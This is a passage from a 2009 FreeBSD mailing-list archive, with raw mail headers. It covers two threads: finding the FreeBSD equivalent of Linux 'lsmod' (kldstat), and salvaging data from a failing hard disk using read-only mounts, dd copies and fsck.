Mon, 24 Aug 2009 14:32:04 -0500 Message-ID: From: Andrew Gould To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 19:32:06 -0000 On Mon, Aug 24, 2009 at 2:29 PM, Jerry wrote: > What is the equivalent of the Linux 'lsmod' command in FreeBSD? > > -- > Jerry > gesbbb@yahoo.com > I think it's kldstat. Andrew From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 19:32:44 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CA3891065698 for ; Mon, 24 Aug 2009 19:32:44 +0000 (UTC) (envelope-from kellymartin@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.27]) by mx1.freebsd.org (Postfix) with ESMTP id 87DC98FC18 for ; Mon, 24 Aug 2009 19:32:44 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 3so1405238qwe.7 for ; Mon, 24 Aug 2009 12:32:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=+O5VRLMonaxNtrtFagzF14X/H1lx/d/b7fqBa2Zk7p8=; b=h2s6tO5EpualSu+x0z/a/8jYW5KU5LaV3owRALLg65XnIO51wAZXSZNHUXn3m0NPVv ngfMKG5uoe7f02Y3qXwkQwK14uD56B0ZJ1FsdZOGgPxcQ4Nr0L2q6cJ+YdAq1BU44cYW KMDg0sdwWiPa8ZfD+3Q3fggqEpNNpEFWml/EY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=GFL3sORjslRjlPudoQtHiKcbIZl1doC36ATqzmCciYCL9jk2z5cybgOT1mHKia4nPI 3WWKFNfIt6S9b4I+AXtViEkCwI84MKv2dhv5e3COXh/sZ4BbqWdVtRE4k+L6uGKkhHQ3 tI/BbhAysYtX5cQSmTU+gMwTRGMd4y4hHotAk= MIME-Version: 1.0 Received: by 10.224.12.195 with SMTP id y3mr3117880qay.34.1251138561246; Mon, 24 Aug 2009 11:29:21 -0700 (PDT) Date: Mon, 24 Aug 2009 12:29:19 -0600 Message-ID: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> From: Kelly Martin To: FreeBSD Questions Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 19:32:44 -0000 I just experienced a hard drive failure on one of my FreeBSD 7.2 production servers with no backup! I am so mad at myself for not backing up!! Now it's a salvage operation. Here are the type of errors I was getting on the console, over-and-over: ad4: TIMEOUT - WRITE_DMA48 retrying (0 retries left) LBA=441633503 ad4: WARNING - SETFEATURES ENABLE RCACHE taskqueue timeout - completing request directly ad4: WARNING - SETFEATURES ENABLE WCACHE taskqueue timeout - completing request directly ad4: WARNING - SET_MULTI taskqueue timeout - completing request directly ad4: FAILURE - WRITE_DMA48 timed out LBA=441633375 g_vgs_done():ad4s1f[WRITE(offset=216338284544, length=16384)]error = 5 I could still login to the machine (after an eternity) but got lots of read/write errors along the way. The offset shown in the errors kept changing, so I thought it was a hardware eSATA controller issue instead of a bad sector on the drive - I replaced the motherboard, but the problem persisted. So I bought a new hard drive and have re-installed FreeBSD 7.2 on it. I'd like to plug in the old hard drive today, mount it and salvage as much as I can... especially the database files, config files, etc. My question: what kind of checks and/or repair tools should I run on the damaged drive after it's mounted? Or should I mount it as read-only and start backing it up? I am hoping most of my data is still there, but also don't want to damage it further. I desperately need to salvage the data, what do the kind people on this list recommend? thanks, kelly From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 19:33:14 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1DB861065695 for ; Mon, 24 Aug 2009 19:33:14 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from email2.allantgroup.com (email2.emsphone.com [199.67.51.116]) by mx1.freebsd.org (Postfix) with ESMTP id D98A98FC19 for ; Mon, 24 Aug 2009 19:33:13 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by email2.allantgroup.com (8.14.0/8.14.0) with ESMTP id n7OJXALK028975 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 24 Aug 2009 14:33:10 -0500 (CDT) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.3/8.14.3) with ESMTP id n7OJXAKZ079061 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 24 Aug 2009 14:33:10 -0500 (CDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.3/8.14.3/Submit) id n7OJXAbB079059 for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 14:33:10 -0500 (CDT) (envelope-from dan) Date: Mon, 24 Aug 2009 14:33:09 -0500 From: Dan Nelson To: freebsd-questions@freebsd.org Message-ID: <20090824193309.GI77498@dan.emsphone.com> References: <20090824152932.0780db11@scorpio.seibercom.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090824152932.0780db11@scorpio.seibercom.net> X-OS: FreeBSD 7.2-STABLE User-Agent: Mutt/1.5.19 (2009-01-05) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on email2.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (email2.allantgroup.com [199.67.51.78]); Mon, 24 Aug 2009 14:33:10 -0500 (CDT) X-Scanned-By: MIMEDefang 2.45 Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 19:33:14 -0000 In the last episode (Aug 24), Jerry said: > What is the equivalent of the Linux 'lsmod' command in FreeBSD? Remember to actually describe what you want, rather than just giving the linux command. To list the loaded kernel modules, run kldstat. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 19:44:57 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 357F0106564A for ; Mon, 24 Aug 2009 19:44:57 +0000 (UTC) (envelope-from dunc@lemonia.org) Received: from tang.lemonia.org (tang.lemonia.org [88.208.192.38]) by mx1.freebsd.org (Postfix) with ESMTP id EA8178FC1A for ; Mon, 24 Aug 2009 19:44:56 +0000 (UTC) Received: from cpc2-brig13-0-0-cust103.brig.cable.ntl.com ([86.7.236.104] helo=[172.16.12.1]) by tang.lemonia.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MffTH-0001CB-80 for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 20:44:58 +0100 Message-ID: <4A92EDA6.2020809@lemonia.org> Date: Mon, 24 Aug 2009 20:44:38 +0100 From: Dunc User-Agent: Thunderbird 2.0.0.22 (X11/20090804) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20090824152932.0780db11@scorpio.seibercom.net> <20090824193309.GI77498@dan.emsphone.com> In-Reply-To: <20090824193309.GI77498@dan.emsphone.com> X-Enigmail-Version: 0.96.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-SA-Exim-Connect-IP: 86.7.236.104 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on tang.lemonia.org X-Spam-Level: X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham version=3.2.5 X-SA-Exim-Version: 4.2 X-SA-Exim-Scanned: Yes (on tang.lemonia.org) Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 19:44:57 -0000 Dan Nelson wrote: > In the last episode (Aug 24), Jerry said: >> What is the equivalent of the Linux 'lsmod' command in FreeBSD? > > Remember to actually describe what you want, rather than just giving the > linux command. To list the loaded kernel modules, run kldstat. > I think he wanted to know what the equivalent of the Linux 'lsmod' command is. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 19:47:59 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 39ADA10656A3 for ; Mon, 24 Aug 2009 19:47:59 +0000 (UTC) (envelope-from jhelfman@e-e.com) Received: from mail.experts-exchange.com (mail.experts-exchange.com [64.156.132.251]) by mx1.freebsd.org (Postfix) with ESMTP id 248278FC24 for ; Mon, 24 Aug 2009 19:47:58 +0000 (UTC) Received: from eggman.experts-exchange.com (unknown [72.29.180.81]) by mail.experts-exchange.com (Postfix) with ESMTP id 7E26D4A50A44; Mon, 24 Aug 2009 12:47:58 -0700 (PDT) Received: by eggman.experts-exchange.com (sSMTP sendmail emulation); Mon, 24 Aug 2009 12:47:38 -0700 Date: Mon, 24 Aug 2009 12:47:38 -0700 From: Jason To: Dunc Message-ID: <20090824194738.GB22060@eggman.experts-exchange.com> References: <20090824152932.0780db11@scorpio.seibercom.net> <20090824193309.GI77498@dan.emsphone.com> <4A92EDA6.2020809@lemonia.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline In-Reply-To: <4A92EDA6.2020809@lemonia.org> X-Operating-System: FreeBSD 7.1-RELEASE-p6 EGGMAN X-Living-The-Dream: I love the SLO Life! User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-questions@freebsd.org Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 19:47:59 -0000 I believe it would be 'kldstat' On Mon, Aug 24, 2009 at 08:44:38PM +0100, Dunc thus spake: >Dan Nelson wrote: >> In the last episode (Aug 24), Jerry said: >>> What is the equivalent of the Linux 'lsmod' command in FreeBSD? >> >> Remember to actually describe what you want, rather than just giving the >> linux command. To list the loaded kernel modules, run kldstat. >> > >I think he wanted to know what the equivalent of the Linux 'lsmod' >command is. > >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:02:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A077A106568B for ; Mon, 24 Aug 2009 20:02:39 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp103.prem.mail.ac4.yahoo.com (smtp103.prem.mail.ac4.yahoo.com [76.13.13.42]) by mx1.freebsd.org (Postfix) with SMTP id 495698FC13 for ; Mon, 24 Aug 2009 20:02:39 +0000 (UTC) Received: (qmail 6906 invoked from network); 24 Aug 2009 20:02:38 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:X-Virus-Status:X-Virus-Scanned:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=AJhUglkYLDgpz4LtUibB3hyOzamDmeJLsOZeWF2S9ZGLXY/Jm7OA5tITou2EO4T2HaYW746NT/QCtpw/2iXVcV2nvG6gzhzFDCBsfehyQNX7IJKwkTGk09VwyidpGd4Uuf4zv0yko6WRdD2lg8tfYpgog4lPGYXfrDiR37LCONA= ; Received: from c-67-189-183-172.hsd1.ny.comcast.net (gesbbb@67.189.183.172 with login) by smtp103.prem.mail.ac4.yahoo.com with SMTP; 24 Aug 2009 13:02:38 -0700 PDT X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: sxJs1KIVM1krkPvwP1c7aL0_X60GxsTvaDsa15XbcHQPNh2phW8l00EQKE9PWQN97AMHgBVaWDd.IBWpycPYbRgFn5NPTmzyuu5lINH_DyoXuHgRNcfLx1ytj_d62j7L_d0K4mc9TdeuuYGqr30Auo3bjrNfal92c4UFHMCQuycbJebzP0tpzRgcVqHX83jac4pIRJ7jh3jZlgurZqtLKAX_BO3by4SNASEq4NL6IO3eQL5CJ6KA2Ah0yYCg7zcdtYswcmXwUXJ4Pm1vQi3fOtqF7VUnwlQsE7qFymHOH_gMrSLZ8ou5OTT3Od1iNDQrOarG8RnlCIB08gZdn3n0_cx1PTdjwQIdgnVntttC1jY1sQ-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPA id A4881228F9 for ; Mon, 24 Aug 2009 16:02:37 -0400 (EDT) X-Virus-Status: Clean X-Virus-Scanned: clamav-milter 0.95.2 at scorpio.seibercom.net Date: Mon, 24 Aug 2009 16:02:37 -0400 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20090824160237.2ad9f42b@scorpio.seibercom.net> In-Reply-To: <20090824193309.GI77498@dan.emsphone.com> References: <20090824152932.0780db11@scorpio.seibercom.net> <20090824193309.GI77498@dan.emsphone.com> Organization: seibercom.net X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:02:39 -0000 On Mon, 24 Aug 2009 14:33:09 -0500 Dan Nelson wrote: > In the last episode (Aug 24), Jerry said: > > What is the equivalent of the Linux 'lsmod' command in FreeBSD? > > Remember to actually describe what you want, rather than just giving > the linux command. To list the loaded kernel modules, run kldstat. I was looking for something like this snippet from a Linux machine and using lsmod: Module Size Used by af_packet 34440 2 ppdev 18568 0 acpi_cpufreq 18448 3 cpufreq_stats 16032 0 cpufreq_powersave 10368 0 cpufreq_ondemand 18320 2 freq_table 14080 3 acpi_cpufreq,cpufreq_stats,cpufreq_ondemand cpufreq_userspace 14468 0 cpufreq_conservative 17800 0 iptable_filter 11776 0 ip_tables 31720 1 iptable_filter x_tables 30728 1 ip_tables ac 15496 0 parport_pc 48296 0 lp 22084 0 parport 51340 3 ppdev,parport_pc,lp loop 28676 0 nfs 298872 1 lockd 83248 2 nfs nfs_acl 12416 1 nfs sunrpc 220808 10 nfs,lockd,nfs_acl container 13824 0 iTCO_wdt 22480 0 button 18080 0 pcspkr 12160 0 evdev 22144 3 iTCO_vendor_support 12932 1 iTCO_wdt shpchp 45340 0 pci_hotplug 41776 1 shpchp ext3 156176 7 jbd 64168 1 ext3 mbcache 18560 1 ext3 sg 48920 0 sr_mod 27300 0 cdrom 48680 1 sr_mod sd_mod 40448 12 pata_acpi 17024 0 usbhid 42848 0 hid 52160 1 usbhid ata_piix 31364 10 ata_generic 17156 0 libata 183984 3 pata_acpi,ata_piix,ata_generic ehci_hcd 49164 0 scsi_mod 185784 4 sg,sr_mod,sd_mod,libata tg3 131972 0 uhci_hcd 37024 0 usbcore 177200 4 usbhid,ehci_hcd,uhci_hcd raid10 33536 0 raid456 138272 0 async_xor 13312 1 raid456 async_memcpy 11776 1 raid456 async_tx 17652 3 raid456,async_xor,async_memcpy xor 14352 2 raid456,async_xor raid1 33920 5 raid0 16640 0 multipath 18176 0 linear 14592 0 md_mod 95388 11 raid10,raid456,raid1,raid0,multipath,linear dm_mirror 33408 0 dm_snapshot 27848 0 dm_mod 78200 11 dm_mirror,dm_snapshot thermal 26912 0 processor 48712 2 acpi_cpufreq,thermal fan 13960 0 fbcon 53504 0 tileblit 11392 1 fbcon font 17280 1 fbcon bitblit 14592 1 fbcon softcursor 10880 1 bitblit fuse 63280 1 -- Jerry gesbbb@yahoo.com A man was reading The Canterbury Tales one Saturday morning, when his wife asked "What have you got there?" Replied he, "Just my cup and Chaucer." From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:13:23 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D2485106568C for ; Mon, 24 Aug 2009 20:13:23 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.240]) by mx1.freebsd.org (Postfix) with ESMTP id 564A98FC12 for ; Mon, 24 Aug 2009 20:13:23 +0000 (UTC) Received: by an-out-0708.google.com with SMTP id d14so855287and.13 for ; Mon, 24 Aug 2009 13:13:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=PmaHwz/Un+/a/+k7OHsLPKxQsZGqupKYPfkkGhNs0UM=; b=jESEeCUSDa4+/MFRH2adp+yYVIxCdc0r211ArGIzLRTD6Zpqx/hoCQPN5tHbvl9Z4F 1y8cPYeWiksiNwGmbpFswl2iD5KOA4jrnZM3MA9y3wc+x1H+ikNFuWRPoiuQazYQXJk4 /RrvH17MPKlwIU3Q35x6u3NY5FSavfvuT06dk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=r1qgNy+wxmFWeiWBFSLAV0F8d7tOaLjw7Er9qC7pjnWWSaw9qpb2XmEsRPtOQiv6IN gOJ3wsfg8Nh7Zp92nbOLLwfbUu+A/jGaEwezcefgJYcZDpTu/3co63R2t+ga8WT7aTs3 aFTkmYl8daWrHx26n9NWzNPu0O2LFiq+ZnrxA= MIME-Version: 1.0 Received: by 10.101.75.20 with SMTP id c20mr5213337anl.42.1251144802363; Mon, 24 Aug 2009 13:13:22 -0700 (PDT) In-Reply-To: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> Date: Mon, 24 Aug 2009 14:13:22 -0600 Message-ID: From: Tim Judd To: Kelly Martin Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:13:24 -0000 On 8/24/09, Kelly Martin wrote: > I just experienced a hard drive failure on one of my FreeBSD 7.2 > production servers with no backup! I am so mad at myself for not > backing up!! Now it's a salvage operation. Here are the type of errors > I was getting on the console, over-and-over: > > ad4: TIMEOUT - WRITE_DMA48 retrying (0 retries left) LBA=441633503 > ad4: WARNING - SETFEATURES ENABLE RCACHE taskqueue timeout - > completing request directly > ad4: WARNING - SETFEATURES ENABLE WCACHE taskqueue timeout - > completing request directly > ad4: WARNING - SET_MULTI taskqueue timeout - completing request directly > ad4: FAILURE - WRITE_DMA48 timed out LBA=441633375 > g_vgs_done():ad4s1f[WRITE(offset=216338284544, length=16384)]error = 5 > > I could still login to the machine (after an eternity) but got lots of > read/write errors along the way. The offset shown in the errors kept > changing, so I thought it was a hardware eSATA controller issue > instead of a bad sector on the drive - I replaced the motherboard, > but the problem persisted. So I bought a new hard drive and have > re-installed FreeBSD 7.2 on it. I'd like to plug in the old hard drive > today, mount it and salvage as much as I can... especially the > database files, config files, etc. > > My question: what kind of checks and/or repair tools should I run on > the damaged drive after it's mounted? Or should I mount it as > read-only and start backing it up? I am hoping most of my data is > still there, but also don't want to damage it further. I desperately > need to salvage the data, what do the kind people on this list > recommend? > > thanks, > kelly If I were you, get a copy of spinrite (from grc.com) and always keep it handy. It can be risky on a drive already failing. Here's what I'd do.... Buy spinrite, no matter what. slave the bad drive, read-only mount.. even if the FS is dirty, read-only.. no fsck. copy the data you can (if any). reboot and run spinrite on the bad drive, deepest analysis (level 4 or 5) [may take days, weeks or even reports of months] re-slave the bad drive to the system, fsck and mount read-only. compare and copy any additional data, if any/if applicable, you can. Scrap/destroy the drive if it has sensitive data. I crack open the drive and dismantle the HDD platters from the spindle, break the read-write head ribbon cable, and remove the circuit board on the drive when I destroy drives. Each component should be recycled (being the responsible citizen), maybe on separate runs to remove the possibility of someone nosy getting into your stuff. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:25:29 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 41724106568F for ; Mon, 24 Aug 2009 20:25:29 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail3.sea5.speakeasy.net (mail3.sea5.speakeasy.net [69.17.117.5]) by mx1.freebsd.org (Postfix) with ESMTP id 1B13D8FC0A for ; Mon, 24 Aug 2009 20:25:28 +0000 (UTC) Received: (qmail 10177 invoked from network); 24 Aug 2009 20:25:28 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail3.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 24 Aug 2009 20:25:28 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id B2A1F5082F; Mon, 24 Aug 2009 16:25:26 -0400 (EDT) To: Kelly Martin References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> From: Lowell Gilbert Date: Mon, 24 Aug 2009 16:25:26 -0400 In-Reply-To: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> (Kelly Martin's message of "Mon\, 24 Aug 2009 12\:29\:19 -0600") Message-ID: <44y6p9q7rd.fsf@be-well.ilk.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: FreeBSD Questions List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:25:29 -0000 Kelly Martin writes: > I just experienced a hard drive failure on one of my FreeBSD 7.2 > production servers with no backup! I am so mad at myself for not > backing up!! Now it's a salvage operation. Here are the type of errors > I was getting on the console, over-and-over: > > ad4: TIMEOUT - WRITE_DMA48 retrying (0 retries left) LBA=441633503 > ad4: WARNING - SETFEATURES ENABLE RCACHE taskqueue timeout - > completing request directly > ad4: WARNING - SETFEATURES ENABLE WCACHE taskqueue timeout - > completing request directly > ad4: WARNING - SET_MULTI taskqueue timeout - completing request directly > ad4: FAILURE - WRITE_DMA48 timed out LBA=441633375 > g_vgs_done():ad4s1f[WRITE(offset=216338284544, length=16384)]error = 5 > > I could still login to the machine (after an eternity) but got lots of > read/write errors along the way. The offset shown in the errors kept > changing, so I thought it was a hardware eSATA controller issue > instead of a bad sector on the drive - I replaced the motherboard, > but the problem persisted. So I bought a new hard drive and have > re-installed FreeBSD 7.2 on it. I'd like to plug in the old hard drive > today, mount it and salvage as much as I can... especially the > database files, config files, etc. > > My question: what kind of checks and/or repair tools should I run on > the damaged drive after it's mounted? Or should I mount it as > read-only and start backing it up? I am hoping most of my data is > still there, but also don't want to damage it further. I desperately > need to salvage the data, what do the kind people on this list > recommend? First, try copying the entire disk, *without* mounting it. Use dd(1) to get a copy of the whole disk. I believe that "conv=noerror" may be necessary. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 20:26:14 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 500E4106568F for ; Mon, 24 Aug 2009 20:26:14 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 10A9C8FC1C for ; Mon, 24 Aug 2009 20:26:13 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx02.qsc.de (Postfix) with ESMTP id 906DC1E3FA; Mon, 24 Aug 2009 22:26:12 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7OKQBGt001894; Mon, 24 Aug 2009 22:26:11 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Mon, 24 Aug 2009 22:26:11 +0200 From: Polytropon To: Kelly Martin Message-Id: <20090824222611.025c4e56.freebsd@edvax.de> In-Reply-To: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 20:26:14 -0000 On Mon, 24 Aug 2009 12:29:19 -0600, Kelly Martin wrote: > My question: what kind of checks and/or repair tools should I run on > the damaged drive after it's mounted? Or should I mount it as > read-only and start backing it up? Thou shalt not manipluate thy file systems while they are mounted. :-) Perform an fsck on the partitions first, then mount them ro. Copy the files you need. In case you can't "reach" essential files, you have the change to use forensic tools to get them. Finally, keep in mind that for further diagnostics and restore operations it's always wise not to use the original file systems, i. e. the original disk. Make dd copies of the partitions onto a working disk and use them instead. Luckily, most operations work on plain files as well as on block device specials. > I am hoping most of my data is > still there, but also don't want to damage it further. Good idea. This encourages you to follow the 